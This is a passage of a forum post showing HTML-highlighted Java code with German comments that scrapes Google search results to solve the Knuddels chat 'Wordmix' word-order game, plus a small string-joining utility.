/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">BufferedReader&nbsp;bufferReader&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">BufferedReader</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">InputStreamReader</span><span style="color: #007700">(</span><span style="color: #0000BB">con</span><span style="color: #007700">.</span><span style="color: #0000BB">getInputStream</span><span style="color: #007700">()));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;source&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;((</span><span style="color: #0000BB">sourceLine&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">bufferReader</span><span style="color: #007700">.</span><span style="color: #0000BB">readLine</span><span style="color: #007700">())&nbsp;!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">source</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">sourceLine</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">source</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;catch&nbsp;(</span><span style="color: #0000BB">Exception&nbsp;x</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">x</span><span style="color: #007700">.</span><span style="color: #0000BB">printStackTrace</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Sucht&nbsp;für&nbsp;das&nbsp;Knuddels-Chat-System&nbsp;die&nbsp;Richtige&nbsp;Wordmix-Antwort<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;input&nbsp;Alles&nbsp;vom&nbsp;Packet&nbsp;ab&nbsp;dem&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@return&nbsp;(Manchmal)&nbsp;die&nbsp;richtige&nbsp;Antwort!<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;googleAnswere</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;input</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;source</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">source&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">getSource</span><span style="color: #007700">(</span><span style="color: #DD0000">"http://www.google.de/search?q="&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">java</span><span style="color: #007700">.</span><span style="color: #0000BB">net</span><span style="color: #007700">.</span><span style="color: #0000BB">URLEncoder</span><span style="color: #007700">.</span><span style="color: #0000BB">encode</span><span style="color: #007700">(</span><span style="color: #0000BB">googleString</span><span style="color: #007700">(</span><span style="color: #0000BB">input</span><span style="color: #007700">),&nbsp;&nbsp;</span><span style="color: #DD0000">"UTF-8"</span><span style="color: #007700">));&nbsp;</span><span style="color: #FF8000">//Quelltext&nbsp;herunterladen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">List&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">used&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;();&nbsp;</span><span style="color: #FF8000">//Eine&nbsp;Liste&nbsp;machen&nbsp;(Welche&nbsp;Wörter&nbsp;wurden&nbsp;schon&nbsp;benutzt)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;solution&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//Einen&nbsp;StringBuilder&nbsp;für&nbsp;die&nbsp;Finale&nbsp;Lösung<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">HashMap&nbsp;textNumber&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">textNumber</span><span style="color: #007700">(</span><span style="color: #0000BB">input</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//Eine&nbsp;HashMap&nbsp;mit&nbsp;den&nbsp;Wörtern&nbsp;(Mentos&nbsp;=&gt;&nbsp;1)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">source&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">source</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">source</span><span style="color: #007700">.</span><span style="color: #0000BB">indexOf</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;b&gt;Web&lt;/b&gt;"</span><span style="color: #007700">));&nbsp;</span><span style="color: #FF8000">//Alles&nbsp;ab&nbsp;&lt;b&gt;Web&lt;/b&gt;&nbsp;beachten<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">solutions&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">source</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;b&gt;"</span><span style="color: #007700">);</span><span style="color: #FF8000">//Keine&nbsp;Ahnung&nbsp;mehr<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;search&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">Util</span><span style="color: #007700">.</span><span style="color: #0000BB">StringArrayToString</span><span style="color: #007700">(</span><span style="color: #0000BB">solutions</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"&nbsp;"</span><span style="color: #007700">).</span><span style="color: #0000BB">replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;/b&gt;"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(</span><span style="color: #0000BB">String&nbsp;s</span><span style="color: #007700">:</span><span style="color: #0000BB">search</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"&nbsp;"</span><span style="color: #007700">))&nbsp;</span><span style="color: #FF8000">//Für&nbsp;jedes&nbsp;einzelne&nbsp;Wort<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">isEmpty</span><span style="color: #007700">()){&nbsp;</span><span style="color: #FF8000">//Vorrausgesetzt&nbsp;es&nbsp;ist&nbsp;nicht&nbsp;leer<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if(</span><span style="color: #0000BB">textNumber</span><span style="color: #007700">.</span><span style="color: #0000BB">containsKey</span><span style="color: #007700">(</span><span style="color: #0000BB">s</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;!</span><span style="color: #0000BB">used</span><span style="color: #007700">.</span><span style="color: #0000BB">contains</span><span style="color: #007700">(</span><span style="color: #0000BB">s</span><span style="color: #007700">))&nbsp;</span><span style="color: #FF8000">//Wird&nbsp;überprüft,&nbsp;ob&nbsp;es&nbsp;gebraucht&nbsp;wird&nbsp;und&nbsp;wenn&nbsp;ja,&nbsp;ob&nbsp;es&nbsp;verwendet&nbsp;wurde.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">solution</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">textNumber</span><span style="color: #007700">.</span><span style="color: #0000BB">get</span><span style="color: #007700">(</span><span style="color: #0000BB">s</span><span style="color: #007700">));&nbsp;</span><span style="color: #FF8000">//Dann&nbsp;wird&nbsp;die&nbsp;Lösung&nbsp;dem&nbsp;StringBuilder&nbsp;hinzugefügt<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">used</span><span style="color: #007700">.</span><span style="color: #0000BB">add</span><span style="color: #007700">(</span><span style="color: #0000BB">s</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//Und&nbsp;auch&nbsp;der&nbsp;Used-Liste<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if(</span><span style="color: #0000BB">solution</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;==&nbsp;</span><span style="color: #0000BB">textNumber</span><span style="color: #007700">.</span><span style="color: #0000BB">values</span><span style="color: #007700">().</span><span style="color: #0000BB">size</span><span style="color: #007700">())&nbsp;</span><span style="color: #FF8000">//Wenn&nbsp;die&nbsp;Anzahl&nbsp;der&nbsp;Lösung&nbsp;der&nbsp;Anzahl&nbsp;der&nbsp;Suche&nbsp;entspricht<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">solution</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//Die&nbsp;Lösung&nbsp;zurückgeben.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;catch&nbsp;(</span><span style="color: #0000BB">UnsupportedEncodingException&nbsp;e</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;TODO&nbsp;Auto-generated&nbsp;catch&nbsp;block<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">printStackTrace</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;TextNumber.&nbsp;Gibt&nbsp;für&nbsp;einen&nbsp;InputString&nbsp;(z.B.&nbsp;Mentos(°B°1°°)&nbsp;König.(°B°2°°)&nbsp;ist(°B°3°°))&nbsp;eine&nbsp;HashMap&nbsp;zurück&nbsp;(Mentos&nbsp;=&gt;&nbsp;1,...)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;input&nbsp;Der&nbsp;KnuddelsString,&nbsp;der&nbsp;die&nbsp;Wörter+Nummern&nbsp;beinhaltet&nbsp;(z.B.&nbsp;Mentos(°B°1°°)&nbsp;König.(°B°2°°)&nbsp;ist(°B°3°°))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@return&nbsp;HashMap&nbsp;(Mentos&nbsp;=&gt;&nbsp;1,&nbsp;König&nbsp;=&gt;&nbsp;2,&nbsp;ist&nbsp;=&gt;&nbsp;3)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">HashMap&nbsp;textNumber</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;input</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;patternString&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"(&#91;A-Za-zäöüÄÜÖéè\\.,!ß&#93;+)\\(°B°(&#91;0-9&#93;+)°°\\)"</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//Pattern&nbsp;zum&nbsp;matchen&nbsp;:)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Pattern&nbsp;pattern&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Pattern</span><span style="color: #007700">.</span><span style="color: #0000BB">compile</span><span style="color: #007700">(</span><span style="color: #0000BB">patternString</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Pattern</span><span style="color: #007700">.</span><span style="color: #0000BB">CASE_INSENSITIVE</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//Kompilieren&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Matcher&nbsp;matcher&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">pattern</span><span style="color: #007700">.</span><span style="color: #0000BB">matcher</span><span style="color: #007700">(</span><span style="color: #0000BB">input</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//Auf&nbsp;den&nbsp;Input&nbsp;rausstrecken<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">HashMap</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">returnment&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">HashMap</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">&gt;();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(</span><span style="color: #0000BB">matcher</span><span style="color: #007700">.</span><span style="color: #0000BB">find</span><span style="color: #007700">())<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">returnment</span><span style="color: #007700">.</span><span style="color: #0000BB">put</span><span style="color: #007700">(</span><span style="color: #0000BB">matcher</span><span style="color: #007700">.</span><span style="color: #0000BB">group</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">.</span><span style="color: #0000BB">valueOf</span><span style="color: #007700">(</span><span style="color: #0000BB">matcher</span><span style="color: #007700">.</span><span style="color: #0000BB">group</span><span style="color: #007700">(</span><span style="color: #0000BB">2</span><span style="color: #007700">)));&nbsp;</span><span style="color: #FF8000">//Hinzufügen!<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">returnment</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Passt&nbsp;den&nbsp;String&nbsp;an&nbsp;Google&nbsp;an<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;input&nbsp;Den&nbsp;KnuddelsString<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@return&nbsp;Einen&nbsp;Google-Konformen&nbsp;String<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;googleString</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;input</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;patternString&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"(&#91;A-Za-zäöüÄÜÖéè\\.,!ß&#93;+)\\(°B°&#91;0-9&#93;+°°\\)"</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//Pattern&nbsp;zum&nbsp;matchen&nbsp;:)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Pattern&nbsp;pattern&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Pattern</span><span style="color: #007700">.</span><span style="color: #0000BB">compile</span><span style="color: #007700">(</span><span style="color: #0000BB">patternString</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Pattern</span><span style="color: #007700">.</span><span style="color: #0000BB">CASE_INSENSITIVE</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//Kompilieren&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Matcher&nbsp;matcher&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">pattern</span><span style="color: #007700">.</span><span style="color: #0000BB">matcher</span><span style="color: #007700">(</span><span style="color: #0000BB">input</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//Auf&nbsp;den&nbsp;Input&nbsp;rausstrecken<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;builder&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(</span><span style="color: #0000BB">matcher</span><span style="color: #007700">.</span><span style="color: #0000BB">find</span><span style="color: #007700">())<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"\""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">matcher</span><span style="color: #007700">.</span><span style="color: #0000BB">group</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">)).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"\""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">'&nbsp;'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">out</span><span style="color: #007700">.</span><span style="color: #0000BB">println</span><span style="color: #007700">(</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">().</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">().</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />}<br />------<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Gibt&nbsp;ein&nbsp;StringArray&nbsp;zu&nbsp;einem&nbsp;String&nbsp;anhand&nbsp;eines&nbsp;Delimeters&nbsp;zurück!<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;array&nbsp;Das&nbsp;StringArray<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;delimeter&nbsp;Der&nbsp;Delimeter<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@return&nbsp;Einen&nbsp;String,&nbsp;der&nbsp;das&nbsp;StringArray&nbsp;mit&nbsp;den&nbsp;Delimetern&nbsp;verbunden&nbsp;hat.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;StringArrayToString</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">&#91;&#93;&nbsp;array,&nbsp;</span><span style="color: #0000BB">String&nbsp;delimeter</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;builder&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">String&nbsp;s&nbsp;</span><span style="color: #007700">:&nbsp;array)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">s</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">delimeter</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">().</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;-&nbsp;</span><span style="color: #0000BB">delimeter</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>[/hide]</div>

]]></content:encoded>
